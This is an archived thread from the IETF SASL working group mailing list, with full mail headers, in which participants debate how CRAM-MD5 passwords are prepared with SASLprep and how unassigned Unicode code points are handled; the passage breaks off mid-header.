Thanks, --lyndon Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Kib018875; Fri, 23 Jan 2004 13:06:22 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0NL6KY5018873; Fri, 23 Jan 2004 13:06:20 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from peregrin.orthanc.ca (209-139-252-102.canadawired.com [209.139.252.102] (may be forged)) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0NL6Hib018856 for ; Fri, 23 Jan 2004 13:06:18 -0800 (PST) (envelope-from lyndon@orthanc.ca) Received: from 209-139-252-102.canadawired.com (localhost [127.0.0.1]) by peregrin.orthanc.ca (Postfix) with ESMTP id D495B67003 for ; Fri, 23 Jan 2004 13:06:04 -0800 (PST) Date: Thu, 22 Jan 2004 11:29:45 -0800 From: Lyndon Nerenberg To: ietf-sasl@imc.org Subject: CRAM-MD5 proposed text Message-ID: <2147483647.1074770985@localhost> X-Mailer: Mulberry/3.1.0 (Mac OS X) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: Sorry folks, I've been working offline for the last week and haven't had access to my mail archives. The text in question was proposed by Simon, not Sam, and reads: The server MUST prepare the shared secret string using the [SASLPrep] profile of the [StringPrep] algorithm. The resulting value MUST be encoded as UTF-8 [UTF8]. The server may store the prepared string instead of, or as well as, the unprepared string, so that it does not have to prepare it every time it is needed for computation. However, if the original, unprepared string, is not stored, it may render the computed secret to be incompatible with a future revisions of SASLPrep that support currently unassigned code points (compare section 7 of [StringPrep]). It is therefor recommended to store the unprepared string in the database. --lyndon Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MJA7ib076603; Thu, 22 Jan 2004 11:10:07 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0MJA77r076602; Thu, 22 Jan 2004 11:10:07 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MJA6ib076594; Thu, 22 Jan 2004 11:10:06 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0MJA7ec027579; Thu, 22 Jan 2004 19:10:08 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040122110237.03cfae70@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Thu, 22 Jan 2004 11:09:40 -0800 To: Paul Hoffman / IMC From: "Kurt D. Zeilenga" Subject: Re: A different thought on saslprep Cc: ietf-sasl@imc.org In-Reply-To: References: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 10:10 AM 1/22/2004, Paul Hoffman / IMC wrote: >> >The second is a security consideration. Running saslprep over a shared secret reduces the entropy of the shared secret by eliminating some characters and mapping others. Not a big deal, but it does make an attacker's job easier. >> >>In theory, yes. But one could argue that, in practice, the >>introduction of SASLprep will make more of the password space >>usable hence making the attacker's job harder. > >But you said above that most SASL mechanisms have already been using UTF-8, so that doesn't make sense. I believe that you have to add a security consideration about this. The mechanisms have long supported UTF-8 (with no significant code point restrictions)... and non-ASCII passwords are certainly in use, but due to interoperability problems, much of the password space is not terrible usable. An attacker today would be wise to first search the ASCII-only part of the space, then the portion of the UTF-8 space which is use, and then maybe try to exhaust the complete space. I agree that the introduction of SASLprep reduces the size of the complete space. My point was that the introduction will increase the portion of practically usable space, and that will make it much harder on the attacker. Kurt Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MIAwib074389; Thu, 22 Jan 2004 10:10:58 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0MIAwKf074388; Thu, 22 Jan 2004 10:10:58 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from [63.202.92.157] (adsl-63-202-92-157.dsl.snfc21.pacbell.net [63.202.92.157]) (authenticated bits=0) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0MIAuic074382; Thu, 22 Jan 2004 10:10:56 -0800 (PST) (envelope-from phoffman@imc.org) Mime-Version: 1.0 X-Sender: phoffman@mail.imc.org Message-Id: In-Reply-To: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> References: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> X-Habeas-SWE-1: winter into spring X-Habeas-SWE-2: brightly anticipated X-Habeas-SWE-3: like Habeas SWE (tm) X-Habeas-SWE-4: Copyright 2002 Habeas (tm) X-Habeas-SWE-5: Sender Warranted Email (SWE) (tm). The sender of this X-Habeas-SWE-6: email in exchange for a license for this Habeas X-Habeas-SWE-7: warrant mark warrants that this is a Habeas Compliant X-Habeas-SWE-8: Message (HCM) and not spam. Please report use of this X-Habeas-SWE-9: mark in spam to . Date: Thu, 22 Jan 2004 10:10:56 -0800 To: "Kurt D. Zeilenga" From: Paul Hoffman / IMC Subject: Re: A different thought on saslprep Cc: ietf-sasl@imc.org Content-Type: text/plain; charset="us-ascii" ; format="flowed" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 3:01 PM -0800 1/21/04, Kurt D. Zeilenga wrote: >Most of the mechanisms using SASLprep have supported UTF-8 encoded >Unicode passwords for many years. Ah, good. I wasn't aware of that. >I will not that we use to have lots of similar problems in LDAP. >Clients use to send character data values in whatever character >set/encoding suited them. Once we implemented UTF-8 validation >in the servers, the client developers got their acts together. >I suspect the same has/is/will happen in SASL as well. Sounds OK to me if other SASL implementers agree. > >The second is shared secrets that aren't text. Is the shared >secret always text, or is there a pure binary form? If so, you can't >saslprep the pure binary form. I'm assuming this is a non-issue, but >I might have not found the right place in the SASL draft. > >SASLprep is not applicable to usernames/passwords which are not >composed of Unicode character data. That absolutely needs to be clarified in the document. Right now, it says "It may be applicable elsewhere simple user names and passwords are used." To me, a bunch of hex values is a "simple" password. > >The second is a security consideration. Running saslprep over a >shared secret reduces the entropy of the shared secret by >eliminating some characters and mapping others. Not a big deal, but >it does make an attacker's job easier. > >In theory, yes. But one could argue that, in practice, the >introduction of SASLprep will make more of the password space >usable hence making the attacker's job harder. But you said above that most SASL mechanisms have already been using UTF-8, so that doesn't make sense. I believe that you have to add a security consideration about this. --Paul Hoffman, Director --Internet Mail Consortium Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9biib036214; Thu, 22 Jan 2004 01:37:44 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M9bibr036213; Thu, 22 Jan 2004 01:37:44 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (YahooBB218183214072.bbtec.net [218.183.214.72]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9bhib036197 for ; Thu, 22 Jan 2004 01:37:43 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id B44F615159C; Thu, 22 Jan 2004 04:36:54 -0500 (EST) To: Lyndon Nerenberg Cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> From: Sam Hartman Date: Thu, 22 Jan 2004 04:36:54 -0500 In-Reply-To: <2147483647.1074636301@localhost> (Lyndon Nerenberg's message of "Tue, 20 Jan 2004 22:05:01 -0800") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Lyndon" == Lyndon Nerenberg writes: Lyndon> --On 2004-1-15 10:53 PM -0500 Sam Hartman Lyndon> wrote: >> I disagree and believe that the choice of encoding and >> normalization for the authentication identity is entirely a >> matter of choice for the mechanism document and is out of scope >> for normative comments from the base spec. The base spec can >> and does give advice on what best practice is with regard to >> these issues. Lyndon> Fair enough. I'm not convinced there is consensus either Lyndon> for or against adding Sam's proposed text. Could the WG Lyndon> chairs please conduct a 'hum' over whether the text should Lyndon> be added to the draft? This is the last outstanding issue, Lyndon> and as soon as it's resolved we can get this document into Lyndon> last call. I don't recall proposing any text. I may be confused here. Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9Ygib035212; Thu, 22 Jan 2004 01:34:42 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M9YgPk035211; Thu, 22 Jan 2004 01:34:42 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from konishi-polis.mit.edu (YahooBB218183214072.bbtec.net [218.183.214.72]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M9Yeib035182 for ; Thu, 22 Jan 2004 01:34:41 -0800 (PST) (envelope-from hartmans@mit.edu) Received: by konishi-polis.mit.edu (Postfix, from userid 8042) id AA04015159C; Thu, 22 Jan 2004 04:33:49 -0500 (EST) To: Tony Hansen Cc: Lyndon Nerenberg , ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> <400EE1AD.6010309@att.com> From: Sam Hartman Date: Thu, 22 Jan 2004 04:33:49 -0500 In-Reply-To: <400EE1AD.6010309@att.com> (Tony Hansen's message of "Wed, 21 Jan 2004 15:31:41 -0500") Message-ID: User-Agent: Gnus/5.1002 (Gnus v5.10.2) Emacs/21.2 (gnu/linux) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: >>>>> "Tony" == Tony Hansen writes: Tony> I think it should be common to all mechanisms, and thus Tony> belongs in the base spec. Tony> Tony Hansen tony@att.com Tony> Lyndon Nerenberg wrote: >> --On 2004-1-15 10:53 PM -0500 Sam Hartman >> wrote: >>> I disagree and believe that the choice of encoding and >>> normalization for the authentication identity is entirely a >>> matter of choice for the mechanism document and is out of >>> scope for normative comments from the base spec. The base >>> spec can and does give advice on what best practice is with >>> regard to these issues. >> Fair enough. I'm not convinced there is consensus either for or >> against adding Sam's proposed text. Could the WG chairs please >> conduct a 'hum' over whether the text should be added to the >> draft? This is the last outstanding issue, and as soon as it's >> resolved we can get this document into last call. --lyndon It seems like you are disagreeing fairly strongly with what I'm saying. I assert (and attempted to justify in text that was trimmed) why authentication identifier encoding must be a mechanism matter. You assert disagreement. Would you please describe why you think I'm wrong or how you think I'm unclear or otherwise explain how you think it would work to treat this as a global issue? Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M0EJib041417; Wed, 21 Jan 2004 16:14:20 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0M0EJCv041416; Wed, 21 Jan 2004 16:14:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0M0EHib041410 for ; Wed, 21 Jan 2004 16:14:17 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0M0EIec014676; Thu, 22 Jan 2004 00:14:18 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121155326.03d01430@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 16:13:51 -0800 To: Jeffrey Hutzelman From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: Lyndon Nerenberg , ietf-sasl@imc.org In-Reply-To: <274250000.1074724911@minbar.fac.cs.cmu.edu> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> <274250000.1074724911@minbar.fac.cs.cmu.edu> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 02:41 PM 1/21/2004, Jeffrey Hutzelman wrote: >On Wednesday, January 21, 2004 13:31:53 -0800 "Kurt D. Zeilenga" wrote: >>What is in contention is whether the above text should be >>followed by this additional text: >> >> However, if the original, unprepared >> string, is not stored, it may render the computed secret to be >> incompatible with a future revisions of SASLPrep that support >> currently unassigned code points (compare section 7 of >> [StringPrep]). It is therefor recommended to store the >> unprepared string in the database. > >It is true, IF the server's database is allowed to contain secrets derived from a password containing an unassigned code point. This brings us back to the original point -- a "storage" string should not be allowed to contain unassigned code points. > >This _is_ a mechanism-specific issue. SASLprep can't specify globally whether unassigned code points are permitted or not, because the answer depends on context -- they are permitted in "query" strings, but not in "storage" strings, and it is up to each specific user of SASLprep to specify whether unassigned code points are permitted. Er, right, it's up to the mechanism specification to state whether, and if so how, SASLprep is used. CRAM-MD5 says SASLprep is used. Is this issue simply which the server provided shared secret is a "storage" string or not? To answer that, can we just ask, is the client provided shared secret a "query" string? If yes, then the server provided shared secret must be a "storage" string. Right? >It cannot even be decided globally for SASL -- SASL doesn't deal in "usernames" and "passwords"; it deals in "authentication identities" (whose form is necessarily mechanism-specific) and "authorization identities" (whose form is necessarily application-specific). Since most SASL mechanisms are and will be built on otherwise existing authentication technologies, it is inappropriate for SASL to dictate the form of authentication identities or how they should be prepared. I believe we already have concensus on this issue. This is, I think, is basically in line with what I said. >Returning to the present question... >IMHO, the above text is appropriate and desirable iff CRAM-MD5 passwords stored by the server are permitted to contain unassigned code points. If that is not permitted, then alternate (but very similar) text should be included stating such. Sounds like your asking for a clear indication in the document as which strings are "query" strings, which are "storage" strings, and what that implies. That seems quite reasonable. >It should be pointed out that storing the unprepared string is not a solution to the server's problem. Unless the server and client agree on the normalization mapping for every character in the client's password, the authentication will fail. It is intended that for code points which both sides believe are assigned, this cannot happen. However, if one side believes a code point is unassigned, and the other believes it should be mapped to something else, then you lose. > >In this scenario, it does not matter whether the server prepared the string when it was stored in the database, or when the client made the request. That only matters when you upgrade the server. If strings are prepared at storage time, upgrading the server has no effect. If they are prepared when a request is received, then upgrading the server will fix problems for some clients (those which were newer than the server), and create new problems for other clients (those which are now older than the server). _THIS_ is an example of why unassigned code points should not be permitted in storage strings. As I understand it, this suggested additional text allows what is an invalid password representation (contains unassigned characters) in server to become a valid password representation (those characters are now assigned) upon some future update of that server. This seems really odd to me. It would seem far wiser to refuse to accept invalid representations (due to unassigned characters) as one has no clue at the time of implementation whether or not a particular invalid representation will ever come valid in the future. Kurt Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LN2Cib038905; Wed, 21 Jan 2004 15:02:13 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LN2CVJ038904; Wed, 21 Jan 2004 15:02:12 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LN2Bib038896; Wed, 21 Jan 2004 15:02:11 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0LN2Dec013980; Wed, 21 Jan 2004 23:02:13 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121140414.03cde818@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 15:01:46 -0800 To: Paul Hoffman / IMC From: "Kurt D. Zeilenga" Subject: Re: A different thought on saslprep Cc: ietf-sasl@imc.org In-Reply-To: References: Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 03:17 PM 1/12/2004, Paul Hoffman / IMC wrote: >Greetings again. Sorry for coming in so late on this, but three issues were just pointed out to me about this document and I thought they might be worthy of discussion. Sorry for the delayed response... >The first is an implementation issue. In order to use saslprep on the shared secret, the application needs to know the text encoding used to enter the shared secret. Until now, that has always been ASCII, so no big problem there. Most of the mechanisms using SASLprep have supported UTF-8 encoded Unicode passwords for many years. The introduction of SASLprep doesn't make the problem any worse. (It might make it better as it, in many cases, requires the client (which is more likely to know what character set/encoding the character data is in) to do more with the data.) >However, once we open up to the Unicode character set, we also open up to a zillion odd text encodings (UTF-8, BIG5, ISO 8859-7, ...). Is anyone worried that that programs will get the conversion from what the user entered for the shared secret into Unicode code points wrong? Not terribly. I will not that we use to have lots of similar problems in LDAP. Clients use to send character data values in whatever character set/encoding suited them. Once we implemented UTF-8 validation in the servers, the client developers got their acts together. I suspect the same has/is/will happen in SASL as well. >The second is shared secrets that aren't text. Is the shared secret always text, or is there a pure binary form? If so, you can't saslprep the pure binary form. I'm assuming this is a non-issue, but I might have not found the right place in the SASL draft. SASLprep is not applicable to usernames/passwords which are not composed of Unicode character data. The interesting case is where you have a protocol which supports octet-string passwords where those passwords may at times be character data. LDAP simple bind is an example of such. The current proposal for improving interoperability when the password is character data is to, in this case and only this case, require transcoding to Unicode, preparation with SASLprep, and transfer as UTF-8. This approach, though it does have a few problems, seems to be the best we can do (without changing the octet-string password aspect of the protocol/data model). >The second is a security consideration. Running saslprep over a shared secret reduces the entropy of the shared secret by eliminating some characters and mapping others. Not a big deal, but it does make an attacker's job easier. In theory, yes. But one could argue that, in practice, the introduction of SASLprep will make more of the password space usable hence making the attacker's job harder. Kurt Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LMfqib038347; Wed, 21 Jan 2004 14:41:52 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LMfqwU038346; Wed, 21 Jan 2004 14:41:52 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from minbar.fac.cs.cmu.edu (MINBAR.FAC.CS.CMU.EDU [128.2.185.161]) by above.proper.com (8.12.10/8.12.8) with SMTP id i0LMfpib038339 for ; Wed, 21 Jan 2004 14:41:51 -0800 (PST) (envelope-from jhutz@cmu.edu) Received: from minbar.fac.cs.cmu.edu ([127.0.0.1]) by minbar.fac.cs.cmu.edu id aa27885; 21 Jan 2004 17:41 EST Date: Wed, 21 Jan 2004 17:41:51 -0500 From: Jeffrey Hutzelman To: "Kurt D. Zeilenga" , Lyndon Nerenberg cc: ietf-sasl@imc.org Subject: Re: CRAM-MD5 stringprep text Message-ID: <274250000.1074724911@minbar.fac.cs.cmu.edu> In-Reply-To: <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> X-Mailer: Mulberry/3.0.3 (Linux/x86) MIME-Version: 1.0 Content-Type: text/plain; charset=us-ascii; format=flowed Content-Transfer-Encoding: 7bit Content-Disposition: inline Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: On Wednesday, January 21, 2004 13:31:53 -0800 "Kurt D. Zeilenga" wrote: > What is in contention is whether the above text should be > followed by this additional text: > > However, if the original, unprepared > string, is not stored, it may render the computed secret to be > incompatible with a future revisions of SASLPrep that support > currently unassigned code points (compare section 7 of > [StringPrep]). It is therefor recommended to store the > unprepared string in the database. It is true, IF the server's database is allowed to contain secrets derived from a password containing an unassigned code point. This brings us back to the original point -- a "storage" string should not be allowed to contain unassigned code points. This _is_ a mechanism-specific issue. SASLprep can't specify globally whether unassigned code points are permitted or not, because the answer depends on context -- they are permitted in "query" strings, but not in "storage" strings, and it is up to each specific user of SASLprep to specify whether unassigned code points are permitted. It cannot even be decided globally for SASL -- SASL doesn't deal in "usernames" and "passwords"; it deals in "authentication identities" (whose form is necessarily mechanism-specific) and "authorization identities" (whose form is necessarily application-specific). Since most SASL mechanisms are and will be built on otherwise existing authentication technologies, it is inappropriate for SASL to dictate the form of authentication identities or how they should be prepared. I believe we already have concensus on this issue. Returning to the present question... IMHO, the above text is appropriate and desirable iff CRAM-MD5 passwords stored by the server are permitted to contain unassigned code points. If that is not permitted, then alternate (but very similar) text should be included stating such. It should be pointed out that storing the unprepared string is not a solution to the server's problem. Unless the server and client agree on the normalization mapping for every character in the client's password, the authentication will fail. It is intended that for code points which both sides believe are assigned, this cannot happen. However, if one side believes a code point is unassigned, and the other believes it should be mapped to something else, then you lose. In this scenario, it does not matter whether the server prepared the string when it was stored in the database, or when the client made the request. That only matters when you upgrade the server. If strings are prepared at storage time, upgrading the server has no effect. If they are prepared when a request is received, then upgrading the server will fix problems for some clients (those which were newer than the server), and create new problems for other clients (those which are now older than the server). _THIS_ is an example of why unassigned code points should not be permitted in storage strings. -- Jeffrey T. Hutzelman (N3NHS) Sr. Research Systems Programmer School of Computer Science - Research Computing Facility Carnegie Mellon University - Pittsburgh, PA Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LLWJib035646; Wed, 21 Jan 2004 13:32:19 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LLWJ3u035645; Wed, 21 Jan 2004 13:32:19 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LLWIib035639 for ; Wed, 21 Jan 2004 13:32:18 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0LLWKec012324; Wed, 21 Jan 2004 21:32:20 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121130549.03cc3b08@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 13:31:53 -0800 To: Lyndon Nerenberg From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: ietf-sasl@imc.org In-Reply-To: <2147483647.1074636301@localhost> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> <2147483647.1074636301@localhost> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 10:05 PM 1/20/2004, you wrote: >--On 2004-1-15 10:53 PM -0500 Sam Hartman wrote: >>I disagree and believe that the choice of encoding and normalization >>for the authentication identity is entirely a matter of choice for the >>mechanism document and is out of scope for normative comments from the >>base spec. The base spec can and does give advice on what best >>practice is with regard to these issues. > >Fair enough. I'm not convinced there is consensus either for or against adding Sam's proposed text. Could the WG chairs please conduct a 'hum' over whether the text should be added to the draft? This is the last outstanding issue, and as soon as it's resolved we can get this document into last call. Last CRAM-MD5 text I saw proposed was from Simon, not Sam. http://www.imc.org/ietf-sasl/mail-archive/msg01371.html If you were asking about some other suggested text, please send me a URL to the post suggesting it. I note that the WG has already achieved, I believe, consensus that: 1) form of authentication identities are, by their very nature, mechanism specific, 2) mechanisms whose authentication identities are in the form of a simple user name should use SASLprep, and 3) mechanisms whose shared secrets are in the form of a simple password should use SASLprep. I do not think there is significant contention here. In particular, I don't see anyone voicing concern regarding this portion of the suggested text: The server MUST prepare the shared secret string using the [SASLPrep] profile of the [StringPrep] algorithm. The resulting value MUST be encoded as UTF-8 [UTF8]. The server may store the prepared string instead of, or as well as, the unprepared string, so that it does not have to prepare it every time it is needed for computation. What is in contention is whether the above text should be followed by this additional text: However, if the original, unprepared string, is not stored, it may render the computed secret to be incompatible with a future revisions of SASLPrep that support currently unassigned code points (compare section 7 of [StringPrep]). It is therefor recommended to store the unprepared string in the database. I would like to hear comments as why this additional text should or should not be added. Kurt Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LL5Eib034733; Wed, 21 Jan 2004 13:05:16 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LL5El6034732; Wed, 21 Jan 2004 13:05:14 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from pretender.boolean.net (root@router.boolean.net [198.144.206.49]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LL5Dib034726 for ; Wed, 21 Jan 2004 13:05:13 -0800 (PST) (envelope-from Kurt@OpenLDAP.org) Received: from gypsy.OpenLDAP.org (kurt@localhost [127.0.0.1]) by pretender.boolean.net (8.12.10/8.12.9) with ESMTP id i0LL5Eec012041; Wed, 21 Jan 2004 21:05:14 GMT (envelope-from Kurt@OpenLDAP.org) Message-Id: <6.0.1.1.0.20040121125336.03cc3358@127.0.0.1> X-Sender: kurt@127.0.0.1 X-Mailer: QUALCOMM Windows Eudora Version 6.0.1.1 Date: Wed, 21 Jan 2004 13:04:48 -0800 To: Lyndon Nerenberg From: "Kurt D. Zeilenga" Subject: Re: CRAM-MD5 stringprep text Cc: Sam Hartman , ietf-sasl@imc.org In-Reply-To: <2147483647.1073925785@115.216-123-230-0.interbaun.com> References: <2147483647.1073918049@115.216-123-230-0.interbaun.com> <2147483647.1073925785@115.216-123-230-0.interbaun.com> Mime-Version: 1.0 Content-Type: text/plain; charset="us-ascii" Sender: owner-ietf-sasl@mail.imc.org Precedence: bulk List-Archive: List-ID: List-Unsubscribe: At 03:43 PM 1/12/2004, Lyndon Nerenberg wrote: >--On 2004-1-12 5:38 PM -0500 Sam Hartman wrote: > >>I'd like to hear from people who believe we should allow unassigned >>codepoints in cram-md5. > >Taking off my editor's visor, I personally think this whole issue is out of scope for the CRAM document, and needs to be addressed in the base SASL document, or not at all (i.e. let the stringprep document says what needs to be said, if anything). Depends on what you mean by "whole issue". The unassigned code point handling is certain germane to the preparation of strings in CRAM-MD5. However, CRAM-MD5 should just rely on SASLprep to cover the particulars of that handling. Now, if you mean this bit: However, if the original, unprepared string, is not stored, it may render the computed secret to be incompatible with a future revisions of SASLPrep that support currently unassigned code points (compare section 7 of [StringPrep]). It is therefor recommended to store the unprepared string in the database. I would agree that this text should mot be included in the document. Kurt Received: from above.proper.com (localhost [127.0.0.1]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LKVmib032503; Wed, 21 Jan 2004 12:31:48 -0800 (PST) (envelope-from owner-ietf-sasl@mail.imc.org) Received: (from majordom@localhost) by above.proper.com (8.12.10/8.12.9/Submit) id i0LKVmUx032502; Wed, 21 Jan 2004 12:31:48 -0800 (PST) X-Authentication-Warning: above.proper.com: majordom set sender to owner-ietf-sasl@mail.imc.org using -f Received: from ckmso2.proxy.att.com (ckmso2.att.com [209.219.209.75]) by above.proper.com (8.12.10/8.12.8) with ESMTP id i0LKViib032491 for ; Wed, 21 Jan 2004 12:31:46 -0800 (PST) (envelope-from tony@att.com) Received: from maillennium.att.com ([135.25.114.99]) by ckmso2.proxy.att.com (AT&T IPNS/MSO-5.0) with ESMTP id i0LKVejs031324 for ; Wed, 21 Jan 2004 15:31:40 -0500 Received: from att.com (unknown[135.210.35.3](misconfigured sender)) by maillennium.att.com (mailgw1) with ESMTP id <20040121202927gw100o260ne>; Wed, 21 Jan 2004 20:29:27 +0000 Message-ID: <400EE1AD.6010309@att.com> Date: Wed, 21 Jan 2004 15:31:41 -0500 From: Tony Hansen User-Agent: Mozilla/5.0 